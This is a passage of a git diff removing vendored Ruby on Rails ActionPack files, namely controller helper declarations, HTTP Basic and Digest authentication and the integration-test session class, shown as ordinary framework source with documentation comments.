-      #   helper 'resources/foo'  # => requires 'resources/foo_helper' and includes Resources::FooHelper
-      #
-      # When the argument is a module it will be included directly in the template class.
-      #   helper FooHelper # => includes FooHelper
-      #
-      # When the argument is the symbol <tt>:all</tt>, the controller will include all helpers beneath
-      # <tt>ActionController::Base.helpers_dir</tt> (defaults to <tt>app/helpers/**/*.rb</tt> under RAILS_ROOT).
-      #   helper :all
-      #
-      # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available 
-      # to the template.
-      #   # One line
-      #   helper { def hello() "Hello, world!" end }
-      #   # Multi-line
-      #   helper do
-      #     def foo(bar) 
-      #       "#{bar} is the very best" 
-      #     end
-      #   end
-      # 
-      # Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
-      # +symbols+, +strings+, +modules+ and blocks.
-      #   helper(:three, BlindHelper) { def mice() 'mice' end }
-      #
-      def helper(*args, &block)
-        args.flatten.each do |arg|
-          case arg
-            when Module
-              add_template_helper(arg)
-            when :all
-              helper(all_application_helpers)
-            when String, Symbol
-              file_name  = arg.to_s.underscore + '_helper'
-              class_name = file_name.camelize
-
-              begin
-                require_dependency(file_name)
-              rescue LoadError => load_error
-                requiree = / -- (.*?)(\.rb)?$/.match(load_error.message).to_a[1]
-                if requiree == file_name
-                  msg = "Missing helper file helpers/#{file_name}.rb"
-                  raise LoadError.new(msg).copy_blame!(load_error)
-                else
-                  raise
-                end
-              end
-
-              add_template_helper(class_name.constantize)
-            else
-              raise ArgumentError, "helper expects String, Symbol, or Module argument (was: #{args.inspect})"
-          end
-        end
-
-        # Evaluate block in template class if given.
-        master_helper_module.module_eval(&block) if block_given?
-      end
-
-      # Declare a controller method as a helper. For example, the following
-      # makes the +current_user+ controller method available to the view:
-      #   class ApplicationController < ActionController::Base
-      #     helper_method :current_user, :logged_in?
-      #
-      #     def current_user
-      #       @current_user ||= User.find_by_id(session[:user])
-      #     end
-      #
-      #      def logged_in?
-      #        current_user != nil
-      #      end
-      #   end
-      #
-      # In a view:
-      #  <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
-      def helper_method(*methods)
-        methods.flatten.each do |method|
-          master_helper_module.module_eval <<-end_eval
-            def #{method}(*args, &block)                    # def current_user(*args, &block)
-              controller.send(%(#{method}), *args, &block)  #   controller.send(%(current_user), *args, &block)
-            end                                             # end
-          end_eval
-        end
-      end
-
-      # Declares helper accessors for controller attributes. For example, the
-      # following adds new +name+ and <tt>name=</tt> instance methods to a
-      # controller and makes them available to the view:
-      #   helper_attr :name
-      #   attr_accessor :name
-      def helper_attr(*attrs)
-        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
-      end
-
-      # Provides a proxy to access helpers methods from outside the view.
-      def helpers
-        unless @helper_proxy
-          @helper_proxy = ActionView::Base.new
-          @helper_proxy.extend master_helper_module
-        else
-          @helper_proxy
-        end
-      end
-
-      private
-        def default_helper_module!
-          unless name.blank?
-            module_name = name.sub(/Controller$|$/, 'Helper')
-            module_path = module_name.split('::').map { |m| m.underscore }.join('/')
-            require_dependency module_path
-            helper module_name.constantize
-          end
-        rescue MissingSourceFile => e
-          raise unless e.is_missing? module_path
-        rescue NameError => e
-          raise unless e.missing_name? module_name
-        end
-
-        def inherited_with_helper(child)
-          inherited_without_helper(child)
-
-          begin
-            child.master_helper_module = Module.new
-            child.master_helper_module.__send__ :include, master_helper_module
-            child.__send__ :default_helper_module!
-          rescue MissingSourceFile => e
-            raise unless e.is_missing?("helpers/#{child.controller_path}_helper")
-          end
-        end
-
-        # Extract helper names from files in app/helpers/**/*.rb
-        def all_application_helpers
-          extract = /^#{Regexp.quote(helpers_dir)}\/?(.*)_helper.rb$/
-          Dir["#{helpers_dir}/**/*_helper.rb"].map { |file| file.sub extract, '\1' }
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb b/vendor/rails/actionpack/lib/action_controller/http_authentication.rb
deleted file mode 100644
index ede279f5..00000000
--- a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb
+++ /dev/null
@@ -1,309 +0,0 @@
-module ActionController
-  module HttpAuthentication
-    # Makes it dead easy to do HTTP Basic authentication.
-    #
-    # Simple Basic example:
-    #
-    #   class PostsController < ApplicationController
-    #     USER_NAME, PASSWORD = "dhh", "secret"
-    #
-    #     before_filter :authenticate, :except => [ :index ]
-    #
-    #     def index
-    #       render :text => "Everyone can see me!"
-    #     end
-    #
-    #     def edit
-    #       render :text => "I'm only accessible if you know the password"
-    #     end
-    #
-    #     private
-    #       def authenticate
-    #         authenticate_or_request_with_http_basic do |user_name, password|
-    #           user_name == USER_NAME && password == PASSWORD
-    #         end
-    #       end
-    #   end
-    #
-    #
-    # Here is a more advanced Basic example where only Atom feeds and the XML API is protected by HTTP authentication,
-    # the regular HTML interface is protected by a session approach:
-    #
-    #   class ApplicationController < ActionController::Base
-    #     before_filter :set_account, :authenticate
-    #
-    #     protected
-    #       def set_account
-    #         @account = Account.find_by_url_name(request.subdomains.first)
-    #       end
-    #
-    #       def authenticate
-    #         case request.format
-    #         when Mime::XML, Mime::ATOM
-    #           if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
-    #             @current_user = user
-    #           else
-    #             request_http_basic_authentication
-    #           end
-    #         else
-    #           if session_authenticated?
-    #             @current_user = @account.users.find(session[:authenticated][:user_id])
-    #           else
-    #             redirect_to(login_url) and return false
-    #           end
-    #         end
-    #       end
-    #   end
-    #
-    # In your integration tests, you can do something like this:
-    #
-    #   def test_access_granted_from_xml
-    #     get(
-    #       "/notes/1.xml", nil,
-    #       :authorization => ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
-    #     )
-    #
-    #     assert_equal 200, status
-    #   end
-    #
-    # Simple Digest example:
-    #
-    #   require 'digest/md5'
-    #   class PostsController < ApplicationController
-    #     REALM = "SuperSecret"
-    #     USERS = {"dhh" => "secret", #plain text password
-    #              "dap" => Digest:MD5::hexdigest(["dap",REALM,"secret"].join(":"))  #ha1 digest password
-    #
-    #     before_filter :authenticate, :except => [:index]
-    #
-    #     def index
-    #       render :text => "Everyone can see me!"
-    #     end
-    #
-    #     def edit
-    #       render :text => "I'm only accessible if you know the password"
-    #     end
-    #
-    #     private
-    #       def authenticate
-    #         authenticate_or_request_with_http_digest(REALM) do |username|
-    #           USERS[username]
-    #         end
-    #       end
-    #   end
-    #
-    # NOTE: The +authenticate_or_request_with_http_digest+ block must return the user's password or the ha1 digest hash so the framework can appropriately
-    #       hash to check the user's credentials. Returning +nil+ will cause authentication to fail.
-    #       Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
-    #       the password file or database is compromised, the attacker would be able to use the ha1 hash to
-    #       authenticate as the user at this +realm+, but would not have the user's password to try using at
-    #       other sites.
-    #
-    # On shared hosts, Apache sometimes doesn't pass authentication headers to
-    # FCGI instances. If your environment matches this description and you cannot
-    # authenticate, try this rule in your Apache setup:
-    #
-    #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
-    module Basic
-      extend self
-
-      module ControllerMethods
-        def authenticate_or_request_with_http_basic(realm = "Application", &login_procedure)
-          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm)
-        end
-
-        def authenticate_with_http_basic(&login_procedure)
-          HttpAuthentication::Basic.authenticate(self, &login_procedure)
-        end
-
-        def request_http_basic_authentication(realm = "Application")
-          HttpAuthentication::Basic.authentication_request(self, realm)
-        end
-      end
-
-      def authenticate(controller, &login_procedure)
-        unless authorization(controller.request).blank?
-          login_procedure.call(*user_name_and_password(controller.request))
-        end
-      end
-
-      def user_name_and_password(request)
-        decode_credentials(request).split(/:/, 2)
-      end
-
-      def authorization(request)
-        request.env['HTTP_AUTHORIZATION']   ||
-        request.env['X-HTTP_AUTHORIZATION'] ||
-        request.env['X_HTTP_AUTHORIZATION'] ||
-        request.env['REDIRECT_X_HTTP_AUTHORIZATION']
-      end
-
-      def decode_credentials(request)
-        ActiveSupport::Base64.decode64(authorization(request).split(' ', 2).last || '')
-      end
-
-      def encode_credentials(user_name, password)
-        "Basic #{ActiveSupport::Base64.encode64("#{user_name}:#{password}")}"
-      end
-
-      def authentication_request(controller, realm)
-        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}")
-        controller.__send__ :render, :text => "HTTP Basic: Access denied.\n", :status => :unauthorized
-      end
-    end
-
-    module Digest
-      extend self
-
-      module ControllerMethods
-        def authenticate_or_request_with_http_digest(realm = "Application", &password_procedure)
-          authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm)
-        end
-
-        # Authenticate with HTTP Digest, returns true or false
-        def authenticate_with_http_digest(realm = "Application", &password_procedure)
-          HttpAuthentication::Digest.authenticate(self, realm, &password_procedure)
-        end
-
-        # Render output including the HTTP Digest authentication header
-        def request_http_digest_authentication(realm = "Application", message = nil)
-          HttpAuthentication::Digest.authentication_request(self, realm, message)
-        end
-      end
-
-      # Returns false on a valid response, true otherwise
-      def authenticate(controller, realm, &password_procedure)
-        authorization(controller.request) && validate_digest_response(controller.request, realm, &password_procedure)
-      end
-
-      def authorization(request)
-        request.env['HTTP_AUTHORIZATION']   ||
-        request.env['X-HTTP_AUTHORIZATION'] ||
-        request.env['X_HTTP_AUTHORIZATION'] ||
-        request.env['REDIRECT_X_HTTP_AUTHORIZATION']
-      end
-
-      # Returns false unless the request credentials response value matches the expected value.
-      # First try the password as a ha1 digest password. If this fails, then try it as a plain
-      # text password.
-      def validate_digest_response(request, realm, &password_procedure)
-        credentials = decode_credentials_header(request)
-        valid_nonce = validate_nonce(request, credentials[:nonce])
-
-        if valid_nonce && realm == credentials[:realm] && opaque == credentials[:opaque]
-          password = password_procedure.call(credentials[:username])
-          return false unless password
-
-          method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']
-          uri    = credentials[:uri][0,1] == '/' ? request.request_uri : request.url
-
-         [true, false].any? do |password_is_ha1|
-           expected = expected_response(method, uri, credentials, password, password_is_ha1)
-           expected == credentials[:response]
-         end
-        end
-      end
-
-      # Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
-      # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
-      # of a plain-text password.
-      def expected_response(http_method, uri, credentials, password, password_is_ha1=true)
-        ha1 = password_is_ha1 ? password : ha1(credentials, password)
-        ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))
-        ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))
-      end
-
-      def ha1(credentials, password)
-        ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))
-      end
-
-      def encode_credentials(http_method, credentials, password, password_is_ha1)
-        credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
-        "Digest " + credentials.sort_by {|x| x[0].to_s }.inject([]) {|a, v| a << "#{v[0]}='#{v[1]}'" }.join(', ')
-      end
-
-      def decode_credentials_header(request)
-        decode_credentials(authorization(request))
-      end
-
-      def decode_credentials(header)
-        header.to_s.gsub(/^Digest\s+/,'').split(',').inject({}.with_indifferent_access) do |hash, pair|
-          key, value = pair.split('=', 2)
-          hash[key.strip] = value.to_s.gsub(/^"|"$/,'').gsub(/'/, '')
-          hash
-        end
-      end
-
-      def authentication_header(controller, realm)
-        controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
-      end
-
-      def authentication_request(controller, realm, message = nil)
-        message ||= "HTTP Digest: Access denied.\n"
-        authentication_header(controller, realm)
-        controller.__send__ :render, :text => message, :status => :unauthorized
-      end
-
-      # Uses an MD5 digest based on time to generate a value to be used only once.
-      #
-      # A server-specified data string which should be uniquely generated each time a 401 response is made.
-      # It is recommended that this string be base64 or hexadecimal data.
-      # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
-      #
-      # The contents of the nonce are implementation dependent.
-      # The quality of the implementation depends on a good choice.
-      # A nonce might, for example, be constructed as the base 64 encoding of
-      #
-      # => time-stamp H(time-stamp ":" ETag ":" private-key)
-      #
-      # where time-stamp is a server-generated time or other non-repeating value,
-      # ETag is the value of the HTTP ETag header associated with the requested entity,
-      # and private-key is data known only to the server.
-      # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
-      # reject the request if it did not match the nonce from that header or
-      # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
-      # The inclusion of the ETag prevents a replay request for an updated version of the resource.
-      # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
-      # to limit the reuse of the nonce to the same client that originally got it.
-      # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
-      # Also, IP address spoofing is not that hard.)
-      #
-      # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
-      # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
-      # POST or PUT requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
-      # of this document.
-      #
-      # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
-      # key from the Rails session secret generated upon creation of project. Ensures
-      # the time cannot be modifed by client.
-      def nonce(time = Time.now)
-        t = time.to_i
-        hashed = [t, secret_key]
-        digest = ::Digest::MD5.hexdigest(hashed.join(":"))
-        Base64.encode64("#{t}:#{digest}").gsub("\n", '')
-      end
-
-      # Might want a shorter timeout depending on whether the request
-      # is a PUT or POST, and if client is browser or web service.
-      # Can be much shorter if the Stale directive is implemented. This would
-      # allow a user to use new nonce without prompting user again for their
-      # username and password.
-      def validate_nonce(request, value, seconds_to_timeout=5*60)
-        return false if value.nil?
-        t = Base64.decode64(value).split(":").first.to_i
-        nonce(t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
-      end
-
-      # Opaque based on random generation - but changing each request?
-      def opaque()
-        ::Digest::MD5.hexdigest(secret_key)
-      end
-
-      # Set in /initializers/session_store.rb, and loaded even if sessions are not in use.
-      def secret_key
-        ActionController::Base.session_options[:secret]
-      end
-
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/integration.rb b/vendor/rails/actionpack/lib/action_controller/integration.rb
deleted file mode 100644
index d9de6b8f..00000000
--- a/vendor/rails/actionpack/lib/action_controller/integration.rb
+++ /dev/null
@@ -1,708 +0,0 @@
-require 'stringio'
-require 'uri'
-require 'active_support/test_case'
-require 'action_controller/rack_lint_patch'
-
-module ActionController
-  module Integration #:nodoc:
-    # An integration Session instance represents a set of requests and responses
-    # performed sequentially by some virtual user. Because you can instantiate
-    # multiple sessions and run them side-by-side, you can also mimic (to some
-    # limited extent) multiple simultaneous users interacting with your system.
-    #
-    # Typically, you will instantiate a new session using
-    # IntegrationTest#open_session, rather than instantiating
-    # Integration::Session directly.
-    class Session
-      include Test::Unit::Assertions
-      include ActionController::TestCase::Assertions
-      include ActionController::TestProcess
-
-      # Rack application to use
-      attr_accessor :application
-
-      # The integer HTTP status code of the last request.
-      attr_reader :status
-
-      # The status message that accompanied the status code of the last request.
-      attr_reader :status_message
-
-      # The body of the last request.
-      attr_reader :body
-
-      # The URI of the last request.
-      attr_reader :path
-
-      # The hostname used in the last request.
-      attr_accessor :host
-
-      # The remote_addr used in the last request.
-      attr_accessor :remote_addr
-
-      # The Accept header to send.
-      attr_accessor :accept
-
-      # A map of the cookies returned by the last response, and which will be
-      # sent with the next request.
-      attr_reader :cookies
-
-      # A map of the headers returned by the last response.
-      attr_reader :headers
-
-      # A reference to the controller instance used by the last request.
-      attr_reader :controller
-
-      # A reference to the request instance used by the last request.
-      attr_reader :request
-
-      # A reference to the response instance used by the last request.
-      attr_reader :response
-
-      # A running counter of the number of requests processed.
-      attr_accessor :request_count
-
-      class MultiPartNeededException < Exception
-      end
-
-      # Create and initialize a new Session instance.
-      def initialize(app = nil)
-        @application = app || ActionController::Dispatcher.new
-        reset!
-      end
-
-      # Resets the instance. This can be used to reset the state information
-      # in an existing session instance, so it can be used from a clean-slate
-      # condition.
-      #
-      #   session.reset!
-      def reset!
-        @status = @path = @headers = nil
-        @result = @status_message = nil
-        @https = false
-        @cookies = {}
-        @controller = @request = @response = nil
-        @request_count = 0
-
-        self.host        = "www.example.com"
-        self.remote_addr = "127.0.0.1"
-        self.accept      = "text/xml,application/xml,application/xhtml+xml," +
-                           "text/html;q=0.9,text/plain;q=0.8,image/png," +
-                           "*/*;q=0.5"
-
-        unless defined? @named_routes_configured
-          # install the named routes in this session instance.
-          klass = class << self; self; end
-          Routing::Routes.install_helpers(klass)
-
-          # the helpers are made protected by default--we make them public for
-          # easier access during testing and troubleshooting.
-          klass.module_eval { public *Routing::Routes.named_routes.helpers }
-          @named_routes_configured = true
-        end
-      end
-
-      # Specify whether or not the session should mimic a secure HTTPS request.
-      #
-      #   session.https!
-      #   session.https!(false)
-      def https!(flag = true)
-        @https = flag
-      end
-
-      # Return +true+ if the session is mimicking a secure HTTPS request.
-      #
-      #   if session.https?
-      #     ...
-      #   end
-      def https?
-        @https
-      end
-
-      # Set the host name to use in the next request.
-      #
-      #   session.host! "www.example.com"
-      def host!(name)
-        @host = name
-      end
-
-      # Follow a single redirect response. If the last response was not a
-      # redirect, an exception will be raised. Otherwise, the redirect is
-      # performed on the location header.
-      def follow_redirect!
-        raise "not a redirect! #{@status} #{@status_message}" unless redirect?
-        get(interpret_uri(headers['location']))
-        status
-      end
-
-      # Performs a request using the specified method, following any subsequent
-      # redirect. Note that the redirects are followed until the response is
-      # not a redirect--this means you may run into an infinite loop if your
-      # redirect loops back to itself.
-      def request_via_redirect(http_method, path, parameters = nil, headers = nil)
-        send(http_method, path, parameters, headers)
-        follow_redirect! while redirect?
-        status
-      end
-
-      # Performs a GET request, following any subsequent redirect.
-      # See +request_via_redirect+ for more information.
-      def get_via_redirect(path, parameters = nil, headers = nil)
-        request_via_redirect(:get, path, parameters, headers)
-      end
-
-      # Performs a POST request, following any subsequent redirect.
-      # See +request_via_redirect+ for more information.
-      def post_via_redirect(path, parameters = nil, headers = nil)
-        request_via_redirect(:post, path, parameters, headers)
-      end
-
-      # Performs a PUT request, following any subsequent redirect.
-      # See +request_via_redirect+ for more information.
-      def put_via_redirect(path, parameters = nil, headers = nil)
-        request_via_redirect(:put, path, parameters, headers)
-      end
-
-      # Performs a DELETE request, following any subsequent redirect.
-      # See +request_via_redirect+ for more information.
-      def delete_via_redirect(path, parameters = nil, headers = nil)
-        request_via_redirect(:delete, path, parameters, headers)
-      end
-
-      # Returns +true+ if the last response was a redirect.
-      def redirect?
-        status/100 == 3
-      end
-
-      # Performs a GET request with the given parameters.
-      #
-      # - +path+: The URI (as a String) on which you want to perform a GET
-      #   request.
-      # - +parameters+: The HTTP parameters that you want to pass. This may
-      #   be +nil+,
-      #   a Hash, or a String that is appropriately encoded
-      #   (<tt>application/x-www-form-urlencoded</tt> or
-      #   <tt>multipart/form-data</tt>).
-      # - +headers+: Additional HTTP headers to pass, as a Hash. The keys will
-      #   automatically be upcased, with the prefix 'HTTP_' added if needed.
-      #
-      # This method returns an Response object, which one can use to
-      # inspect the details of the response. Furthermore, if this method was
-      # called from an ActionController::IntegrationTest object, then that
-      # object's <tt>@response</tt> instance variable will point to the same
-      # response object.
-      #
-      # You can also perform POST, PUT, DELETE, and HEAD requests with +post+,
-      # +put+, +delete+, and +head+.
-      def get(path, parameters = nil, headers = nil)
-        process :get, path, parameters, headers
-      end
-
-      # Performs a POST request with the given parameters. See get() for more
-      # details.
-      def post(path, parameters = nil, headers = nil)
-        process :post, path, parameters, headers
-      end
-
-      # Performs a PUT request with the given parameters. See get() for more
-      # details.
-      def put(path, parameters = nil, headers = nil)
-        process :put, path, parameters, headers
-      end
-
-      # Performs a DELETE request with the given parameters. See get() for
-      # more details.
-      def delete(path, parameters = nil, headers = nil)
-        process :delete, path, parameters, headers
-      end
-
-      # Performs a HEAD request with the given parameters. See get() for more
-      # details.
-      def head(path, parameters = nil, headers = nil)
-        process :head, path, parameters, headers
-      end
-
-      # Performs an XMLHttpRequest request with the given parameters, mirroring
-      # a request from the Prototype library.
-      #
-      # The request_method is :get, :post, :put, :delete or :head; the
-      # parameters are +nil+, a hash, or a url-encoded or multipart string;
-      # the headers are a hash.  Keys are automatically upcased and prefixed
-      # with 'HTTP_' if not already.
-      def xml_http_request(request_method, path, parameters = nil, headers = nil)
-        headers ||= {}
-        headers['X-Requested-With'] = 'XMLHttpRequest'
-        headers['Accept'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
-        process(request_method, path, parameters, headers)
-      end
-      alias xhr :xml_http_request
-
-      # Returns the URL for the given options, according to the rules specified
-      # in the application's routes.
-      def url_for(options)
-        controller ?
-          controller.url_for(options) :
-          generic_url_rewriter.rewrite(options)
-      end
-
-      private
-        # Tailors the session based on the given URI, setting the HTTPS value
-        # and the hostname.
-        def interpret_uri(path)
-          location = URI.parse(path)
-          https! URI::HTTPS === location if location.scheme
-          host! location.host if location.host
-          location.query ? "#{location.path}?#{location.query}" : location.path
-        end
-
-        # Performs the actual request.
-        def process(method, path, parameters = nil, headers = nil)
-          data = requestify(parameters)
-          path = interpret_uri(path) if path =~ %r{://}
-          path = "/#{path}" unless path[0] == ?/
-          @path = path
-          env = {}
-
-          if method == :get
-            env["QUERY_STRING"] = data
-            data = nil
-          end
-
-          env["QUERY_STRING"] ||= ""
-
-          data ||= ''
-          data.force_encoding(Encoding::ASCII_8BIT) if data.respond_to?(:force_encoding)
-          data = data.is_a?(IO) ? data : StringIO.new(data)
-
-          env.update(
-            "REQUEST_METHOD"  => method.to_s.upcase,
-            "SERVER_NAME"     => host,
-            "SERVER_PORT"     => (https? ? "443" : "80"),
-            "HTTPS"           => https? ? "on" : "off",
-            "rack.url_scheme" => https? ? "https" : "http",
-            "SCRIPT_NAME"     => "",
-
-            "REQUEST_URI"    => path,
-            "PATH_INFO"      => path,
-            "HTTP_HOST"      => host,
-            "REMOTE_ADDR"    => remote_addr,
-            "CONTENT_TYPE"   => "application/x-www-form-urlencoded",
-            "CONTENT_LENGTH" => data ? data.length.to_s : nil,
-            "HTTP_ACCEPT"    => accept,
-
-            "rack.version"      => [0,1],
-            "rack.input"        => data,
-            "rack.errors"       => StringIO.new,
-            "rack.multithread"  => true,
-            "rack.multiprocess" => true,
-            "rack.run_once"     => false
-          )
-
-          env['HTTP_COOKIE'] = encode_cookies if cookies.any?
-
-          (headers || {}).each do |key, value|
-            key = key.to_s.upcase.gsub(/-/, "_")
-            key = "HTTP_#{key}" unless env.has_key?(key) || key =~ /^HTTP_/
-            env[key] = value
-          end
-
-          [ControllerCapture, ActionController::ProcessWithTest].each do |mod|
-            unless ActionController::Base < mod
-              ActionController::Base.class_eval { include mod }
-            end
-          end
-
-          ActionController::Base.clear_last_instantiation!
-
-          app = Rack::Lint.new(@application)
-          status, headers, body = app.call(env)
-          @request_count += 1
-
-          @html_document = nil
-
-          @status = status.to_i
-          @status_message = StatusCodes::STATUS_CODES[@status]
-
-          @headers = Rack::Utils::HeaderHash.new(headers)
-
-          cookies = @headers['Set-Cookie']
-          cookies = cookies.to_s.split("\n") unless cookies.is_a?(Array)
-          cookies.each do |cookie|
-            name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2]
-            @cookies[name] = value
-          end
-
-          @body = ""
-          if body.respond_to?(:to_str)
-            @body << body
-          else
-            body.each { |part| @body << part }
-          end
-
-          if @controller = ActionController::Base.last_instantiation
-            @request = @controller.request
-            @response = @controller.response
-            @controller.send(:set_test_assigns)
-          else
-            # Decorate responses from Rack Middleware and Rails Metal
-            # as an Response for the purposes of integration testing
-            @response = Response.new
-            @response.status = status.to_s
-            @response.headers.replace(@headers)
-            @response.body = @body
-          end
-
-          # Decorate the response with the standard behavior of the
-          # TestResponse so that things like assert_response can be
-          # used in integration tests.
-          @response.extend(TestResponseBehavior)
-
-          body.close if body.respond_to?(:close)
-
-          return @status
-        rescue MultiPartNeededException
-          boundary = "----------XnJLe9ZIbbGUYtzPQJ16u1"
-          status = process(method, path,
-            multipart_body(parameters, boundary),
-            (headers || {}).merge(
-              {"CONTENT_TYPE" => "multipart/form-data; boundary=#{boundary}"}))
-          return status
-        end
-
-        # Encode the cookies hash in a format suitable for passing to a
-        # request.
-        def encode_cookies
-          cookies.inject("") do |string, (name, value)|
-            string << "#{name}=#{value}; "
-          end
-        end
-
-        # Get a temporary URL writer object
-        def generic_url_rewriter
-          env = {
-            'REQUEST_METHOD' => "GET",
-            'QUERY_STRING'   => "",
-            "REQUEST_URI"    => "/",
-            "HTTP_HOST"      => host,
-            "SERVER_PORT"    => https? ? "443" : "80",
-            "HTTPS"          => https? ? "on" : "off"
-          }
-          UrlRewriter.new(Request.new(env), {})
-        end
-
-        def name_with_prefix(prefix, name)
-          prefix ? "#{prefix}[#{name}]" : name.to_s
-        end
-
-        # Convert the given parameters to a request string. The parameters may
-        # be a string, +nil+, or a Hash.
-        def requestify(parameters, prefix=nil)
-          if TestUploadedFile === parameters
-            raise MultiPartNeededException
-          elsif Hash === parameters
-            return nil if parameters.empty?
-            parameters.map { |k,v|
-              requestify(v, name_with_prefix(prefix, k))
-            }.join("&")
-          elsif Array === parameters
-            parameters.map { |v|
-              requestify(v, name_with_prefix(prefix, ""))
-            }.join("&")
-          elsif prefix.nil?
-            parameters
-          else
-            "#{CGI.escape(prefix)}=#{CGI.escape(parameters.to_s)}"
-          end
-        end
-
-        def multipart_requestify(params, first=true)
-          Array.new.tap do |p|
-            params.each do |key, value|
-              k = first ? key.to_s : "[#{key.to_s}]"
-              if Hash === value
-                multipart_requestify(value, false).each do |subkey, subvalue|
-                  p << [k + subkey, subvalue]
-                end
-              elsif Array === value
-                value.each do |element|
-                  if Hash === element || Array === element
-                    multipart_requestify(element, false).each do |subkey, subvalue|
-                      p << ["#{k}[]#{subkey}", subvalue]
-                    end
-                  else
-                    p << ["#{k}[]", element]
-                  end
-                end
-              else
-                p << [k, value]
-              end
-            end
-          end
-        end
-
-        def multipart_body(params, boundary)
-          multipart_requestify(params).map do |key, value|
-            if value.respond_to?(:original_filename)
-              File.open(value.path, "rb") do |f|
-                f.set_encoding(Encoding::BINARY) if f.respond_to?(:set_encoding)
-
-                <<-EOF
---#{boundary}\r
-Content-Disposition: form-data; name="#{key}"; filename="#{CGI.escape(value.original_filename)}"\r
-Content-Type: #{value.content_type}\r
-Content-Length: #{File.stat(value.path).size}\r
-\r
-#{f.read}\r
-EOF
-              end
-            else
-<<-EOF
---#{boundary}\r
-Content-Disposition: form-data; name="#{key}"\r
-\r
-#{value}\r
-EOF
-            end
-          end.join("")+"--#{boundary}--\r"
-        end
-
-    end
-
-    # A module used to extend ActionController::Base, so that integration tests
-    # can capture the controller used to satisfy a request.
-    module ControllerCapture #:nodoc:
-      def self.included(base)
-        base.extend(ClassMethods)
-        base.class_eval do
-          class << self
-            alias_method_chain :new, :capture
-          end
-        end
-      end
-
-      module ClassMethods #:nodoc:
-        mattr_accessor :last_instantiation
-
-        def clear_last_instantiation!
-          self.last_instantiation = nil
-        end
-
-        def new_with_capture(*args)
-          controller = new_without_capture(*args)
-          self.last_instantiation ||= controller
-          controller
-        end
-      end
-    end
-
-    module Runner
-      def initialize(*args)
-        super
-        @integration_session = nil
-      end
-
-      # Reset the current session. This is useful for testing multiple sessions
-      # in a single test case.
-      def reset!
-        @integration_session = open_session
-      end
-
-      %w(get post put head delete cookies assigns
-         xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
-        define_method(method) do |*args|
-          reset! unless @integration_session
-          # reset the html_document variable, but only for new get/post calls
-          @html_document = nil unless %w(cookies assigns).include?(method)
-          @integration_session.__send__(method, *args).tap do
-            copy_session_variables!
-          end
-        end
-      end
-
-      # Open a new session instance. If a block is given, the new session is
-      # yielded to the block before being returned.
-      #
-      #   session = open_session do |sess|
-      #     sess.extend(CustomAssertions)
-      #   end
-      #
-      # By default, a single session is automatically created for you, but you
-      # can use this method to open multiple sessions that ought to be tested
-      # simultaneously.
-      def open_session(application = nil)
-        session = Integration::Session.new(application)
-
-        # delegate the fixture accessors back to the test instance
-        extras = Module.new { attr_accessor :delegate, :test_result }
-        if self.class.respond_to?(:fixture_table_names)
-          self.class.fixture_table_names.each do |table_name|
-            name = table_name.tr(".", "_")
-            next unless respond_to?(name, true)
-            extras.__send__(:define_method, name) { |*args|
-              delegate.send(name, *args)
-            }
-          end
-        end
-
-        # delegate add_assertion to the test case
-        extras.__send__(:define_method, :add_assertion) {
-          test_result.add_assertion
-        }
-        session.extend(extras)
-        session.delegate = self
-        session.test_result = @_result
-
-        yield session if block_given?
-        session
-      end
-
-      # Copy the instance variables from the current session instance into the
-      # test instance.
-      def copy_session_variables! #:nodoc:
-        return unless @integration_session
-        %w(controller response request).each do |var|
-          instance_variable_set("@#{var}", @integration_session.__send__(var))
-        end
-      end
-
-      # Delegate unhandled messages to the current session instance.
-      def method_missing(sym, *args, &block)
-        reset! unless @integration_session
-        if @integration_session.respond_to?(sym)
-          @integration_session.__send__(sym, *args, &block).tap do
-            copy_session_variables!
-          end
-        else
-          super
-        end
-      end
-    end
-  end
-
-  # An IntegrationTest is one that spans multiple controllers and actions,
-  # tying them all together to ensure they work together as expected. It tests
-  # more completely than either unit or functional tests do, exercising the
-  # entire stack, from the dispatcher to the database.
-  #
-  # At its simplest, you simply extend IntegrationTest and write your tests
-  # using the get/post methods:
-  #
-  #   require "#{File.dirname(__FILE__)}/test_helper"
-  #
-  #   class ExampleTest < ActionController::IntegrationTest
-  #     fixtures :people
-  #
-  #     def test_login
-  #       # get the login page
-  #       get "/login"
